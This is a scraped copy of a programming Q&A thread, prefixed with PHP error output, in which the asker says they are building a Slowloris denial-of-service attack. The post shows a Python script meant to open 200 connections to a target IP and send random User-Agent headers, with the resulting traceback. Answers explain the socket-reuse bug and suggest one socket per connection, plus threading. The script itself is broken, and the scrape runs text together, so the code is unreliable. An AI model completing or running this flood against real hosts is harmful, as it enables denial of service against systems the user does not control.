Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/sockets/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
到Python服务器的多套接字连接_Python_Sockets - Fatal编程技术网

到Python服务器的多套接字连接

到Python服务器的多套接字连接,python,sockets,Python,Sockets,我在python套接字中得到了这个错误。我的目标是创建一个缓慢的lorris攻击,但我在一个程序中获得到路由器的多个连接时遇到问题 我想获取列表中要调用的套接字数量 import socket import time import os import random socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) user_agents = [ "Mozilla/5.0 (Macintosh; Intel Mac O

我在python套接字中得到了这个错误。我的目标是创建一个缓慢的lorris攻击,但我在一个程序中获得到路由器的多个连接时遇到问题

我想获取列表中要调用的套接字数量

import socket
import time
import os
import random

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

def clear():
    os.system("cls")

print("Starting...")
print("press enter to start")
agreement = input("")

port = 445
port_s = str(port)
socket.settimeout(4)


list_of_sockets = []

import socket
servers = [] #add servers here
if agreement == "":
    clear()
    print("")


    print("welcome...")
    target = input("ip target>>>")
    print("defult port is " + port_s)
    print("-" * 10 + " START " + "-" * 10)
    print("")
    def connect_to():
        int_nob = int(200)#num of bots
        for x in range(0, int_nob):
            print(int(int_nob))
            int_nob -= 1
            int_nob = socket.connect((target, port))
            int_nob.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
            client = new Client()
            if int_nob == 0:
                print(list_of_sockets)
                print("resending sockets of " + int_nob)
    while True:
        connect_to()
    else:
        print("breaking...")
        exit()
错误


不能使用同一套接字进行多个连接,但必须为每个新连接创建一个新套接字。除此之外,简单地将套接字称为
socket
,这非常令人困惑,因为这与您导入的模块
socket
在名称上冲突。

如何为for循环中的每个套接字创建不同的变量?@anUnnexpectedPerson:您不需要不同的变量。但是您需要为每个连接创建一个新的套接字,即
c=socket.socket(。。。c、 连接(…)
但我如何将其实现到connections@anunexpectedperson您可能必须将每个套接字创建为单独的非阻塞线程(每次运行connect_to时,生成一个新线程)。不过,您可能最终会超过线程限制。。。除非您能够足够快地关闭线程,并且线程的引用计数为0,否则另一个问题是套接字通常在整个python脚本关闭之前不可重用。
Traceback (most recent call last):
  File "C:\Users\townte23\Desktop\slow lorris,.py", line 78, in <module>
    connect_to()
  File "C:\Users\townte23\Desktop\slow lorris,.py", line 71, in connect_to
    a = socket.connect((target, port))
OSError: [WinError 10056] A connect request was made on an already connected socket
int_nob = int(200)
for
     int_nob = socket.connect(())
     int_nob.send(bytes("thing"))
     int_nob -= 1
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
...
    def connect_to():
        ...
        for x in range(0, int_nob):
            ...
            a = socket.connect((target, port))
            ...
    while True:
        connect_to()